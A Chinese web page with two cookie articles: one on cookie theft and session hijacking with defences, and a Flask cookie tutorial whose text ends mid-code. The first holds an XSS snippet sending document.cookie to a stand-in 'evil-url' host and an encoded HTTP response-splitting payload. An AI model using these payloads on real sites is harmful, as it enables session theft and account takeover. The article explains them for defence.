整合營(yíng)銷(xiāo)服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢(xún)熱線:

          cookie竊取和session劫持

          cookie竊取和session劫持

          、cookie的基本特性

          如果不了解cookie,可以先到wikipedia上學(xué)習(xí)一下。

          http request

          瀏覽器向服務(wù)器發(fā)起的每個(gè)請(qǐng)求都會(huì)帶上cookie:

          Host: www.example.org
          Cookie: foo=value1;bar=value2
          Accept: */*
          

          http response

          服務(wù)器給瀏覽器的返回可以設(shè)置cookie:

          HTTP/1.1 200 OK
          Content-type: text/html
          Set-Cookie: name=value
          Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT
           
          (content of page)
          

          二、cookie有關(guān)的術(shù)語(yǔ)

          session cookie

          當(dāng)cookie沒(méi)有設(shè)置超時(shí)時(shí)間,那么cookie會(huì)在瀏覽器退出時(shí)銷(xiāo)毀,這種cookie是session cookie。

          persistent cookie/tracking cookie

          設(shè)置了超時(shí)時(shí)間的cookie,會(huì)在指定時(shí)間銷(xiāo)毀,cookie的維持時(shí)間可以持續(xù)到瀏覽器退出之后,這種cookie被持久化在瀏覽器中。很多站點(diǎn)用cookie跟蹤用戶(hù)的歷史記錄,例如廣告類(lèi)站點(diǎn)會(huì)使用cookie記錄瀏覽過(guò)哪些內(nèi)容,搜索引擎會(huì)使用cookie記錄歷史搜索記錄,這時(shí)也可以稱(chēng)作tracking cookie,因?yàn)樗挥糜谧粉櫽脩?hù)行為。

          secure cookie

          服務(wù)器端設(shè)置cookie的時(shí)候,可以指定secure屬性,這時(shí)cookie只有通過(guò)https協(xié)議傳輸?shù)臅r(shí)候才會(huì)帶到網(wǎng)絡(luò)請(qǐng)求中,不加密的http請(qǐng)求不會(huì)帶有secure cookie。設(shè)置secure cookie的方式舉例:

          Set-Cookie: foo=bar; Path=/; Secure
          

          HttpOnly cookie

          服務(wù)器端設(shè)置cookie的時(shí)候,也可以指定一個(gè)HttpOnly屬性。

          Set-Cookie: foo=bar; Path=/; HttpOnly
          

          設(shè)置了這個(gè)屬性的cookie在javascript中無(wú)法獲取到,只會(huì)在網(wǎng)絡(luò)傳輸過(guò)程中帶到服務(wù)器。

          third-party cookie

          第三方cookie的使用場(chǎng)景通常是iframe,例如www.a.com潛入了一個(gè)www.ad.com的廣告iframe,那么www.ad.com設(shè)置的cookie屬于不屬于www.a.com,被稱(chēng)作第三方cookie。

          supercookie

          cookie會(huì)從屬于一個(gè)域名,例如www.a.com,或者屬于一個(gè)子域,例如b.a.com。但是如果cookie被聲明為屬于.com會(huì)發(fā)生什么?這個(gè)cookie會(huì)在任何.com域名生效。這有很大的安全性問(wèn)題。這種cookie被稱(chēng)作supercookie。瀏覽器做出了限制,不允許設(shè)置頂級(jí)域名cookie(例如.com,.net)和pubic suffix cookie(例如.co.uk,.com.cn)。現(xiàn)代主流瀏覽器都很好的處理了supercookie問(wèn)題,但是如果有些第三方瀏覽器使用的頂級(jí)域名和public suffix列表有問(wèn)題,那么就可以針對(duì)supercookie進(jìn)行攻擊啦。

          zombie cookie/evercookie

          僵尸cookie是指當(dāng)用戶(hù)通過(guò)瀏覽器的設(shè)置清除cookie后可以自動(dòng)重新創(chuàng)建的cookie。原理是通過(guò)使用多重技術(shù)記錄同樣的內(nèi)容(例如flash,silverlight),當(dāng)cookie被刪除時(shí),從其他存儲(chǔ)中恢復(fù)。 evercookie是實(shí)現(xiàn)僵尸cookie的主要技術(shù)手段。 了解僵尸cookie和evercookie。

          三、cookie有什么用

          通常cookie有三種主要的用途。

          session管理

          http協(xié)議本身是是無(wú)狀態(tài)的,但是現(xiàn)代站點(diǎn)很多都需要維持登錄態(tài),也就是維持會(huì)話。最基本的維持會(huì)話的方式是Base Auth,但是這種方式,用戶(hù)名和密碼在每次請(qǐng)求中都會(huì)以明文的方式發(fā)送到客戶(hù)端,很容易受到中間人攻擊,存在很大的安全隱患。所以現(xiàn)在大多數(shù)站點(diǎn)采用基于cookie的session管理方式:用戶(hù)登陸成功后,設(shè)置一個(gè)唯一的cookie標(biāo)識(shí)本次會(huì)話,基于這個(gè)標(biāo)識(shí)進(jìn)行用戶(hù)授權(quán)。只要請(qǐng)求中帶有這個(gè)標(biāo)識(shí),都認(rèn)為是登錄態(tài)。

          個(gè)性化

          cookie可以被用于記錄一些信息,以便于在后續(xù)用戶(hù)瀏覽頁(yè)面時(shí)展示相關(guān)內(nèi)容。典型的例子是購(gòu)物站點(diǎn)的購(gòu)物車(chē)功能。以前Google退出的iGoogle產(chǎn)品也是一個(gè)典型的例子,用戶(hù)可以擁有自己的Google自定制主頁(yè),其中就使用了cookie。

          user tracking

          cookie也可以用于追蹤用戶(hù)行為,例如是否訪問(wèn)過(guò)本站點(diǎn),有過(guò)哪些操作等。

          四、cookie竊取和session劫持

          本文就cookie的三種用途中session管理的安全問(wèn)題進(jìn)行展開(kāi)。 既然cookie用于維持會(huì)話,如果這個(gè)cookie被攻擊者竊取會(huì)發(fā)生什么?session被劫持! 攻擊者劫持會(huì)話就等于合法登錄了你的賬戶(hù),可以瀏覽大部分用戶(hù)資源。

          攻擊一旦站點(diǎn)中存在可利用的xss漏洞,攻擊者可直接利用注入的js腳本獲取cookie,進(jìn)而通過(guò)異步請(qǐng)求把標(biāo)識(shí)session id的cookie上報(bào)給攻擊者。

          var img=document.createElement('img');
          img.src='http://evil-url?c='+ encodeURIComponent(document.cookie);
          document.getElementsByTagName('body')[0].appendChild(img);
          

          如何尋找XSS漏洞是另外一個(gè)話題了,自行g(shù)oogle之。 防御 根據(jù)上面HttpOnly cookie的介紹,一旦一個(gè)cookie被設(shè)置為HttpOnly,js腳本就無(wú)法再獲取到,而網(wǎng)絡(luò)傳輸時(shí)依然會(huì)帶上。也就是說(shuō)依然可以依靠這個(gè)cookie進(jìn)行session維持,但客戶(hù)端js對(duì)其不可見(jiàn)。那么即使存在xss漏洞也無(wú)法簡(jiǎn)單的利用其進(jìn)行session劫持攻擊了。 但是上面說(shuō)的是無(wú)法利用xss進(jìn)行簡(jiǎn)單的攻擊,但是也不是沒(méi)有辦法的。既然無(wú)法使用document.cookie獲取到,可以轉(zhuǎn)而通過(guò)其他的方式。下面介紹兩種xss結(jié)合其他漏洞的攻擊方式。

          xss結(jié)合phpinfo頁(yè)面

          攻擊 大家都知道,利用php開(kāi)發(fā)的應(yīng)用會(huì)有一個(gè)phpinfo頁(yè)面。而這個(gè)頁(yè)面會(huì)dump出請(qǐng)求信息,其中就包括cookie信息。

          如果開(kāi)發(fā)者沒(méi)有關(guān)閉這個(gè)頁(yè)面,就可以利用xss漏洞向這個(gè)頁(yè)面發(fā)起異步請(qǐng)求,獲取到頁(yè)面內(nèi)容后parse出cookie信息,然后上傳給攻擊者。 phpinfo只是大家最常見(jiàn)的一種dump請(qǐng)求的頁(yè)面,但不僅限于此,為了調(diào)試方便,任何dump請(qǐng)求的頁(yè)面都是可以被利用的漏洞。 防御關(guān)閉所有phpinfo類(lèi)dump request信息的頁(yè)面。

          XSS + HTTP TRACE=XST

          這是一種古老的攻擊方式,現(xiàn)在已經(jīng)消失,寫(xiě)在這里可以擴(kuò)展一下攻防思路。http trace是讓我們的web服務(wù)器將客戶(hù)端的所有請(qǐng)求信息返回給客戶(hù)端的方法。其中包含了HttpOnly的cookie。如果利用xss異步發(fā)起trace請(qǐng)求,又可以獲取session信息了。之所以說(shuō)是一種古老的攻擊方式,因?yàn)楝F(xiàn)代瀏覽器考慮到XST的危害都禁止了異步發(fā)起trace請(qǐng)求。另外提一點(diǎn),當(dāng)瀏覽器沒(méi)有禁止異步發(fā)起trace的時(shí)代,很多開(kāi)發(fā)者都關(guān)閉了web server的trace支持來(lái)防御XST攻擊。但攻擊者在特定的情況下還可以繞過(guò),用戶(hù)使用了代理服務(wù)器,而代理服務(wù)器沒(méi)有關(guān)閉trace支持,這樣又可以trace了。

          HTTP Response Splitting

          • 參考1
          • 參考2

          通常的XSS攻擊都是把輸入內(nèi)容注入到response的content中,HTTP Response Splitting是一種針對(duì)header的注入。例如,一個(gè)站點(diǎn)接受參數(shù)做302跳轉(zhuǎn):

          www.example.com/?r=http://baidu.com
          

          request信息:

          GET /example.com?r=http://baidu.com

          HTTP/1.1

          Host: example.com

          response:

          HTTP/1.1 302 Found
          Location: http://baidu.com
          Content-Type: text/html
          

          這樣頁(yè)面就302跳轉(zhuǎn)到百度了。攻擊者利用r參數(shù)可以注入header,r參數(shù)不是簡(jiǎn)單的url,而是包含的header信息:

           
          http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E
           
          

          response變成了:

          HTTP/1.1 302 Found
          Location: 
          HTTP/1.1 200 OK
          Content-Type: text/html
          X-XSS-Protection: 0
           
          <html><script>alert(document.cookie)</script><h1>Defaced!</h1></html>
          Content-Type: text/html
          

          有兩個(gè)攻擊要點(diǎn):

          • 指定X=XSS-Protection: 0 ,關(guān)閉瀏覽器的xss保護(hù)機(jī)制。
          • 注入腳本

          防御 針對(duì)header的內(nèi)容做過(guò)濾,不能漏掉,特別是Location,host,referrer等。說(shuō)到底,這也是一種XSS攻擊,只是攻擊方式與普通的不太一樣。針對(duì)header的攻擊還可以做SQL注入等,防御的原則是對(duì)所有的輸入進(jìn)行sanitize,包括非用戶(hù)輸入的內(nèi)容,比如referrer這種一般由瀏覽器帶過(guò)來(lái)的信息,因?yàn)檎?qǐng)求完全可以被偽造,未必來(lái)自瀏覽器。

          網(wǎng)絡(luò)監(jiān)聽(tīng)(network eavesdropping/network sniffing)

          以上是利用上層應(yīng)用的特性的幾種攻擊方式,cookie不僅存在于上層應(yīng)用中,更流轉(zhuǎn)于請(qǐng)求中。上層應(yīng)用獲取不到后,攻擊者可以轉(zhuǎn)而從網(wǎng)絡(luò)請(qǐng)求中獲取。只要是未使用https加密的網(wǎng)站都可以抓包分析,其中就包含了標(biāo)識(shí)session的cookie。當(dāng)然,完成網(wǎng)絡(luò)監(jiān)聽(tīng)需要滿(mǎn)足一定的條件,這又是另外一個(gè)話題了。常見(jiàn)的方式:

          • DNS緩存投毒攻擊者把要攻擊的域名的一個(gè)子域映射到攻擊者的server,然后想辦法讓被攻擊者訪問(wèn)這個(gè)server(XSS request、社會(huì)化攻擊等),請(qǐng)求中會(huì)帶過(guò)來(lái)所有cookie(包括HttpOnly)。
          • 中間人攻擊常見(jiàn)的攻擊方式是搭建免費(fèi)wifi,把DHCP服務(wù)器指定為攻擊者ip,在攻擊者機(jī)器上可以收到所有請(qǐng)求,不僅可以獲取cookie,還可以進(jìn)行腳本注入。
          • 代理服務(wù)器/VPN翻墻用免費(fèi)VPN?呵呵。

          防御使用https。使用https協(xié)議的請(qǐng)求都被ssl加密,理論上不可破解,即便被網(wǎng)絡(luò)監(jiān)聽(tīng)也無(wú)法通過(guò)解密看到實(shí)際的內(nèi)容。防御網(wǎng)絡(luò)監(jiān)聽(tīng)通常有兩種方式:

          • 信道加密
          • 內(nèi)容加密

          https是加密信道,在此信道上傳輸?shù)膬?nèi)容對(duì)中間人都是不可見(jiàn)的。但https是有成本的。內(nèi)容加密比較好理解,例如對(duì)password先加密再傳輸。但是對(duì)于標(biāo)識(shí)session的cookie這種標(biāo)識(shí)性信息是無(wú)法通過(guò)內(nèi)容加密得到保護(hù)的。那么,使用https的站點(diǎn)就可以高枕無(wú)憂(yōu)了嗎?事實(shí)上,一些細(xì)節(jié)上的處理不當(dāng)同樣會(huì)暴露出攻擊風(fēng)險(xiǎn)。

          https站點(diǎn)攻擊:雙協(xié)議

          如果同時(shí)支持http和https,那么還是可以使用網(wǎng)絡(luò)監(jiān)聽(tīng)http請(qǐng)求獲取cookie。 防御只支持https,不支持http。這樣就好了嗎?No.

          https站點(diǎn)攻擊:301重定向

          例如www.example.com只支持https協(xié)議,當(dāng)用戶(hù)直接輸入example.com(大部分用戶(hù)都不會(huì)手動(dòng)輸入?yún)f(xié)議前綴),web server通常的處理是返回301要求瀏覽器重定向到https://www.example.com。這次301請(qǐng)求是http的!而且?guī)Я薱ookie,這樣又將cookie明文暴露在網(wǎng)絡(luò)上了。 防御1 把標(biāo)識(shí)session的cookie設(shè)置成secure。上面提到的secure cookie,只允許在https上加密傳輸,在http請(qǐng)求中不會(huì)存在,這樣就不會(huì)暴露在未加密的網(wǎng)絡(luò)上了。 然后現(xiàn)實(shí)很殘酷,很多站點(diǎn)根本無(wú)法做到所有的請(qǐng)求都走h(yuǎn)ttps。原因有很多,可能是成本考慮,可能是業(yè)務(wù)需求。 防御2 設(shè)置Strict-Transport-Security header,直接省略這個(gè)http請(qǐng)求!用戶(hù)首次訪問(wèn)后,服務(wù)器設(shè)置了這個(gè)header以后,后面就會(huì)省略掉這次http 301請(qǐng)求。

          eb 開(kāi)發(fā)中的 cookie 是什么?

          cookie 是后端可以存儲(chǔ)在用戶(hù)瀏覽器中的小塊數(shù)據(jù)。 Cookie 最常見(jiàn)用例包括用戶(hù)跟蹤,個(gè)性化以及身份驗(yàn)證。

          Cookies 具有很多隱私問(wèn)題,多年來(lái)一直受到嚴(yán)格的監(jiān)管。

          在本文中,主要側(cè)重于技術(shù)方面:學(xué)習(xí)如何在前端和后端創(chuàng)建,使用 HTTP cookie。

          后端配置

          后端示例是Flask編寫(xiě)的。如果你想跟著學(xué)習(xí),可以創(chuàng)建一個(gè)新的Python虛擬環(huán)境,移動(dòng)到其中并安裝Flask

          mkdir cookies && cd $_
          
          python3 -m venv venv
          source venv/bin/activate
          
          pip install Flask
          

          在項(xiàng)目文件夾中創(chuàng)建一個(gè)名為flask app.py的新文件,并使用本文的示例在本地進(jìn)行實(shí)驗(yàn)。

          誰(shuí)創(chuàng)建 cookies ?

          首先,cookies 從何而來(lái)?誰(shuí)創(chuàng)建 cookies ?

          雖然可以使用document.cookie在瀏覽器中創(chuàng)建 cookie,但大多數(shù)情況下,后端的責(zé)任是在將響應(yīng)客戶(hù)端請(qǐng)求之前在請(qǐng)求中設(shè)置 cookie。

          后端是指可以通過(guò)以下方式創(chuàng)建 Cookie:

          • 后端實(shí)際應(yīng)用程序的代碼(Python、JavaScript、PHP、Java)
          • 響應(yīng)請(qǐng)求的Web服務(wù)器(Nginx,Apache)

          后端可以在 HTTP 請(qǐng)求求中 Set-Cookie 屬性來(lái)設(shè)置 cookie,它是由鍵/值對(duì)以及可選屬性組成的相應(yīng)字符串:

          Set-Cookie: myfirstcookie=somecookievalue
          

          什么時(shí)候需要?jiǎng)?chuàng)建 cookie?這取決于需求。

          cookie 是簡(jiǎn)單的字符串。在項(xiàng)目文件夾中創(chuàng)建一個(gè)名為flask_app.py的Python文件,并輸入以下內(nèi)容:

          from flask import Flask, make_response
          
          app = Flask(__name__)
          
          
          @app.route("/index/", methods=["GET"])
          def index():
              response = make_response("Here, take some cookie!")
              response.headers["Set-Cookie"] = "myfirstcookie=somecookievalue"
              return response
          

          然后運(yùn)行應(yīng)用程序:

          FLASK_ENV=development FLASK_APP=flask_app.py flask run
          

          當(dāng)該應(yīng)用程序運(yùn)行時(shí),用戶(hù)訪問(wèn)http://127.0.0.1:5000/index/,后端將設(shè)置一個(gè)具有鍵/值對(duì)的名為Set-Cookie的響應(yīng)標(biāo)頭。

          (127.0.0.1:5000是開(kāi)發(fā)中的 Flask 應(yīng)用程序的默認(rèn)偵聽(tīng)地址/端口)。

          Set-Cookie標(biāo)頭是了解如何創(chuàng)建cookie的關(guān)鍵:

          response.headers["Set-Cookie"] = "myfirstcookie=somecookievalue"
          

          大多數(shù)框架都有自己設(shè)置 cookie 的方法,比如Flask的set_cookie()。

          如何查看 cookies ?

          訪問(wèn)http://127.0.0.1:5000/index/后,后端將在瀏覽器中設(shè)置cookie。要查看此cookie,可以從瀏覽器的控制臺(tái)調(diào)用document.cookie:

          或者可以在開(kāi)發(fā)人員工具中選中Storage選項(xiàng)卡。單擊cookie,會(huì)看到 cookie 具體的內(nèi)容:

          在命令行上,還可以使用curl查看后端設(shè)置了哪些 cookie

          curl -I http://127.0.0.1:5000/index/
          

          可以將 Cookie 保存到文件中以供以后使用:

          curl -I http://127.0.0.1:5000/index/ --cookie-jar mycookies
          

          在 stdout 上顯示 cookie:

          curl -I http://127.0.0.1:5000/index/ --cookie-jar -
          

          請(qǐng)注意,沒(méi)有HttpOnly屬性的cookie,在瀏覽器中可以使用document.cookie上訪問(wèn),如果設(shè)置了 HttpOnly 屬性,document.cookie就讀取不到。

          Set-Cookie: myfirstcookie=somecookievalue; HttpOnly
          

          現(xiàn)在,該cookie 仍將出現(xiàn)在 Storage 選項(xiàng)卡中,但是 document.cookie返回的是一個(gè)空字符串。

          從現(xiàn)在開(kāi)始,為方便起見(jiàn),使用Flask的 response.set_cookie() 在后端上創(chuàng)建 cookie。

          我有一個(gè) cookie,現(xiàn)在怎么辦?

          你的瀏覽器得到一個(gè) cookie。現(xiàn)在怎么辦呢?一旦有了 cookie,瀏覽器就可以將cookie發(fā)送回后端。

          這有許多用途發(fā)如:用戶(hù)跟蹤、個(gè)性化,以及最重要的身份驗(yàn)證。

          例如,一旦你登錄網(wǎng)站,后端就會(huì)給你一個(gè)cookie:

          Set-Cookie: userid=sup3r4n0m-us3r-1d3nt1f13r
          

          為了在每個(gè)后續(xù)請(qǐng)求中正確識(shí)別 我們的身份,后端會(huì)檢查來(lái)自請(qǐng)求中瀏覽器的 cookie

          要發(fā)送Cookie,瀏覽器會(huì)在請(qǐng)求中附加一個(gè)Cookie標(biāo)頭:

          Cookie: userid=sup3r4n0m-us3r-1d3nt1f13r
          

          cookie 可以設(shè)置過(guò)期時(shí)間: Max-Age 和 expires

          默認(rèn)情況下,cookie 在用戶(hù)關(guān)閉會(huì)話時(shí)即關(guān)閉瀏覽器時(shí)過(guò)期。要持久化cookie,我們可以通過(guò)expires或Max-Age屬性

          Set-Cookie: myfirstcookie=somecookievalue; expires=Tue, 09 Jun 2020 15:46:52 GMT; Max-Age=1209600
          

          注意:Max-Age優(yōu)先于expires

          cookie的作用域是網(wǎng)站路徑: path 屬性

          考慮該后端,該后端在訪問(wèn)http://127.0.0.1:5000/時(shí)為其前端設(shè)置了一個(gè)新的 cookie。相反,在其他兩條路徑上,我們打印請(qǐng)求的cookie:

          from flask import Flask, make_response, request
          
          app = Flask(__name__)
          
          
          @app.route("/", methods=["GET"])
          def index():
              response = make_response("Here, take some cookie!")
              response.set_cookie(key="id", value="3db4adj3d", path="/about/")
              return response
          
          
          @app.route("/about/", methods=["GET"])
          def about():
              print(request.cookies)
              return "Hello world!"
          
          
          @app.route("/contact/", methods=["GET"])
          def contact():
              print(request.cookies)
              return "Hello world!"
          

          運(yùn)行該應(yīng)用程序:

          FLASK_ENV=development FLASK_APP=flask_app.py flask run
          

          在另一個(gè)終端中,如果我們與根路由建立連接,則可以在Set-Cookie中看到cookie:

          curl -I http://127.0.0.1:5000/ --cookie-jar cookies
          
          HTTP/1.0 200 OK
          Content-Type: text/html; charset=utf-8
          Content-Length: 23
          Set-Cookie: id=3db4adj3d; Path=/about/
          Server: Werkzeug/1.0.1 Python/3.8.3
          Date: Wed, 27 May 2020 09:21:37 GMT
          

          請(qǐng)注意,此時(shí) cookie 具有Path屬性:

          Set-Cookie: id=3db4adj3d; Path=/about/
          

          /about/ 路由并保存 cookit

          curl -I http://127.0.0.1:5000/about/ --cookie cookies
          

          在 Flask 應(yīng)用程序的終端中運(yùn)行如下命令,可以看到:

          ImmutableMultiDict([('id', '3db4adj3d')])
          127.0.0.1 - - [27/May/2020 11:27:55] "HEAD /about/ HTTP/1.1" 200 -
          

          正如預(yù)期的那樣,cookie 返回到后端。現(xiàn)在嘗試訪問(wèn) /contact/ 路由:

          url -I http://127.0.0.1:5000/contact/ --cookie cookies
          

          在 Flask 應(yīng)用程序的終端中運(yùn)行如下命令,可以看到:

          ImmutableMultiDict([])
          127.0.0.1 - - [27/May/2020 11:29:00] "HEAD /contact/ HTTP/1.1" 200 -
          

          這說(shuō)明啥?cookie 的作用域是Path 。具有給定路徑屬性的cookie不能被發(fā)送到另一個(gè)不相關(guān)的路徑,即使這兩個(gè)路徑位于同一域中。

          這是cookie權(quán)限的第一層。

          在cookie創(chuàng)建過(guò)程中省略Path時(shí),瀏覽器默認(rèn)為/。

          cookie 的作用域是域名: domain 屬性

          cookie 的 Domain 屬性的值控制瀏覽器是否應(yīng)該接受cookie以及cookie返回的位置。

          讓我們看一些例子。

          主機(jī)不匹配(錯(cuò)誤的主機(jī))

          查看 https://serene-bastion-01422.herokuapp.com/get-wrong-domain-cookie/設(shè)置的cookie:

          Set-Cookie: coookiename=wr0ng-d0m41n-c00k13; Domain=api.valentinog.com
          

          這里的 cookie 來(lái)自serene-bastion-01422.herokuapp.com,但是Domain屬性具有api.valentinog.com

          瀏覽器沒(méi)有其他選擇來(lái)拒絕這個(gè) cookie。比如 Chrome 會(huì)給出一個(gè)警告(Firefox沒(méi)有)

          主機(jī)不匹配(子域名)

          查看 https://serene-bastion-01422.herokuapp.com/get-wrong-subdomain-cookie/設(shè)置的cookie:

          Set-Cookie: coookiename=wr0ng-subd0m41n-c00k13; Domain=secure-brushlands-44802.herokuapp.com
          

          這里的 Cookie 來(lái)自serene-bastion-01422.herokuapp.com,但**“Domain”**屬性是secure-brushlands-44802.herokuapp.com。

          它們?cè)谙嗤挠蛏希亲佑蛎煌M瑯樱瑸g覽器也拒絕此cookie:

          主機(jī)匹配(整個(gè)域)

          查看 https://www.valentinog.com/get-domain-cookie.html設(shè)置的cookie:

          set-cookie: cookiename=d0m41n-c00k13; Domain=valentinog.com
          

          此cookie是使用 Nginx add_header在Web服務(wù)器上設(shè)置的:

          add_header Set-Cookie "cookiename=d0m41n-c00k13; Domain=valentinog.com";
          

          這里使用 Nginx 中設(shè)置cookie的多種方法。Cookie 是由 Web 服務(wù)器或應(yīng)用程序的代碼設(shè)置的,對(duì)于瀏覽器來(lái)說(shuō)無(wú)關(guān)緊要。

          重要的是 cookie 來(lái)自哪個(gè)域。

          在此瀏覽器將愉快地接受cookie,因?yàn)镈omain中的主機(jī)包括cookie所來(lái)自的主機(jī)。

          換句話說(shuō),valentinog.com包括子域名www.valentinog.com。

          同時(shí),對(duì)valentinog.com的新請(qǐng)求,cookie 都會(huì)攜帶著,以及任何對(duì)valentinog.com子域名的請(qǐng)求。

          這是一個(gè)附加了Cookie的 www 子域請(qǐng)求:

          下面是對(duì)另一個(gè)自動(dòng)附加cookie的子域的請(qǐng)求

          Cookies 和公共后綴列表

          查看 https://serene-bastion-01422.herokuapp.com/get-domain-cookie/:設(shè)置的 cookie:

          Set-Cookie: coookiename=d0m41n-c00k13; Domain=herokuapp.com
          

          這里的 cookie 來(lái)自serene-bas-01422.herokuapp.com,Domain 屬性是herokuapp.com。瀏覽器在這里應(yīng)該做什么

          你可能認(rèn)為serene-base-01422.herokuapp.com包含在herokuapp.com域中,因此瀏覽器應(yīng)該接受cookie。

          相反,它拒絕 cookie,因?yàn)樗鼇?lái)自公共后綴列表中包含的域。

          Public Suffix List(公共后綴列表)。此列表列舉了頂級(jí)域名和開(kāi)放注冊(cè)的域名。瀏覽器禁止此列表上的域名被子域名寫(xiě)入Cookie。

          主機(jī)匹配(子域)

          查看 https://serene-bastion-01422.herokuapp.com/get-subdomain-cookie/:設(shè)置的 cookie:

          Set-Cookie: coookiename=subd0m41n-c00k13
          

          當(dāng)域在cookie創(chuàng)建期間被省略時(shí),瀏覽器會(huì)默認(rèn)在地址欄中顯示原始主機(jī),在這種情況下,我的代碼會(huì)這樣做:

          response.set_cookie(key="coookiename", value="subd0m41n-c00k13")
          

          當(dāng) Cookie 進(jìn)入瀏覽器的 Cookie 存儲(chǔ)區(qū)時(shí),我們看到已應(yīng)用Domain :

          現(xiàn)在,我們有來(lái)自serene-bastion-01422.herokuapp.com 的 cookie, 那 cookie 現(xiàn)在應(yīng)該送到哪里?

          如果你訪問(wèn)https://serene-bastion-01422.herokuapp.com/,則 cookie 隨請(qǐng)求一起出現(xiàn):

          但是,如果訪問(wèn)herokuapp.com,則 cookie 不會(huì)隨請(qǐng)求一起出現(xiàn):

          概括地說(shuō),瀏覽器使用以下啟發(fā)式規(guī)則來(lái)決定如何處理cookies(這里的發(fā)送者主機(jī)指的是你訪問(wèn)的實(shí)際網(wǎng)址):

          • 如果“Domain”中的域或子域與訪問(wèn)的主機(jī)不匹配,則完全拒絕 Cookie
          • 如果 Domain 的值包含在公共后綴列表中,則拒絕 cookie
          • 如果Domain 中的域或子域與訪問(wèn)在主機(jī)匹配,則接受 Cookie

          一旦瀏覽器接受了cookie,并且即將發(fā)出請(qǐng)求,它就會(huì)說(shuō):

          • 如果請(qǐng)求主機(jī)與我在Domain中看到的值完全匹配,則會(huì)回傳 cookie
          • 如果請(qǐng)求主機(jī)是與我在“Domain”中看到的值完全匹配的子域,則將回傳 cookie
          • 如果請(qǐng)求主機(jī)是sub.example.dev之類(lèi)的子域,包含在example.dev之類(lèi)的 Domain 中,則將回傳 cookie
          • 如果請(qǐng)求主機(jī)是例如example.dev之類(lèi)的主域,而 Domain 是sub.example.dev之類(lèi),則不會(huì)回傳cookie。

          Domain 和 Path 屬性一直是 cookie 權(quán)限的第二層。

          Cookies可以通過(guò)AJAX請(qǐng)求傳遞

          Cookies 可以通過(guò)AJAX請(qǐng)求傳播。AJAX 請(qǐng)求是使用 JS (XMLHttpRequest或Fetch)進(jìn)行的異步HTTP請(qǐng)求,用于獲取數(shù)據(jù)并將其發(fā)送回后端。

          考慮 Flask的另一個(gè)示例,其中有一個(gè)模板,該模板又會(huì)加載 JS 文件:

          from flask import Flask, make_response, render_template
          
          app = Flask(__name__)
          
          
          @app.route("/", methods=["GET"])
          def index():
              return render_template("index.html")
          
          
          @app.route("/get-cookie/", methods=["GET"])
          def get_cookie():
              response = make_response("Here, take some cookie!")
              response.set_cookie(key="id", value="3db4adj3d")
              return response
          

          以下是 templates/index.html 模板:

          <!DOCTYPE html>
          <html lang="en">
          <head>
              <meta charset="UTF-8">
              <title>Title</title>
          </head>
          <body>
          <button>FETCH</button>
          </body>
          <script src="{{ url_for('static', filename='index.js') }}"></script>
          </html>
          

          下面是 static/index.js 的內(nèi)容:

          const button = document.getElementsByTagName("button")[0];
          
          button.addEventListener("click", function() {
            getACookie();
          });
          
          function getACookie() {
            fetch("/get-cookie/")
              .then(response => {
                // make sure to check response.ok in the real world!
                return response.text();
              })
              .then(text => console.log(text));
          }
          

          當(dāng)訪問(wèn)http://127.0.0.1:5000/時(shí),我們會(huì)看到一個(gè)按鈕。通過(guò)單擊按鈕,我們向/get-cookie/發(fā)出獲取請(qǐng)求并獲取Cookie。正如預(yù)期的那樣,cookie 落在瀏覽器的 Cookie storage中。

          對(duì) Flask 應(yīng)用程序進(jìn)行一些更改,多加一個(gè)路由:

          from flask import Flask, make_response, request, render_template, jsonify
          
          app = Flask(__name__)
          
          
          @app.route("/", methods=["GET"])
          def index():
              return render_template("index.html")
          
          
          @app.route("/get-cookie/", methods=["GET"])
          def get_cookie():
              response = make_response("Here, take some cookie!")
              response.set_cookie(key="id", value="3db4adj3d")
              return response
          
          
          @app.route("/api/cities/", methods=["GET"])
          def cities():
              if request.cookies["id"] == "3db4adj3d":
                  cities = [{"name": "Rome", "id": 1}, {"name": "Siena", "id": 2}]
                  return jsonify(cities)
              return jsonify(msg="Ops!")
          

          另外,調(diào)整一下 JS 代碼,用于下請(qǐng)求剛新增的路由:

          const button = document.getElementsByTagName("button")[0];
          
          button.addEventListener("click", function() {
            getACookie().then(() => getData());
          });
          
          function getACookie() {
            return fetch("/get-cookie/").then(response => {
              // make sure to check response.ok in the real world!
              return Promise.resolve("All good, fetch the data");
            });
          }
          
          function getData() {
            fetch("/api/cities/")
              .then(response => {
                // make sure to check response.ok in the real world!
                return response.json();
              })
              .then(json => console.log(json));
          

          當(dāng)訪問(wèn)http://127.0.0.1:5000/時(shí),我們會(huì)看到一個(gè)按鈕。通過(guò)單擊按鈕,我們向/get-cookie/發(fā)出獲取請(qǐng)求以獲取Cookie。Cookie出現(xiàn)后,我們就會(huì)對(duì)/api/cities/再次發(fā)出Fetch請(qǐng)求。

          在瀏覽器的控制臺(tái)中,可以看到請(qǐng)求回來(lái) 的數(shù)據(jù)。另外,在開(kāi)發(fā)者工具的Network選項(xiàng)卡中,可以看到一個(gè)名為Cookie的頭,這是通過(guò)AJAX請(qǐng)求傳給后端。

          只要前端與后端在同一上下文中,在前端和后端之間來(lái)回交換cookie就可以正常工作:我們說(shuō)它們來(lái)自同源。

          這是因?yàn)槟J(rèn)情況下,F(xiàn)etch 僅在請(qǐng)求到達(dá)觸發(fā)請(qǐng)求的來(lái)源時(shí)才發(fā)送憑據(jù),即 Cookie。

          cookie 不能總是通過(guò)AJAX請(qǐng)求傳遞

          考慮另一種情況,在后端獨(dú)立運(yùn)行,可以這樣啟動(dòng)應(yīng)用程序:

          FLASK_ENV=development FLASK_APP=flask_app.py flask run
          

          現(xiàn)在,在 Flask 應(yīng)用程序之外的其他文件夾中,創(chuàng)建index.html:

          <!DOCTYPE html>
          <html lang="en">
          <head>
              <meta charset="UTF-8">
              <title>Title</title>
          </head>
          <body>
          <button>FETCH</button>
          </body>
          <script src="index.js"></script>
          </html>
          

          使用以下代碼在同一文件夾中創(chuàng)建一個(gè)名為index.js的 JS 文件:

          
          button.addEventListener("click", function() {
            getACookie().then(() => getData());
          });
          
          function getACookie() {
            return fetch("http://localhost:5000/get-cookie/").then(response => {
              // make sure to check response.ok in the real world!
              return Promise.resolve("All good, fetch the data");
            });
          }
          
          function getData() {
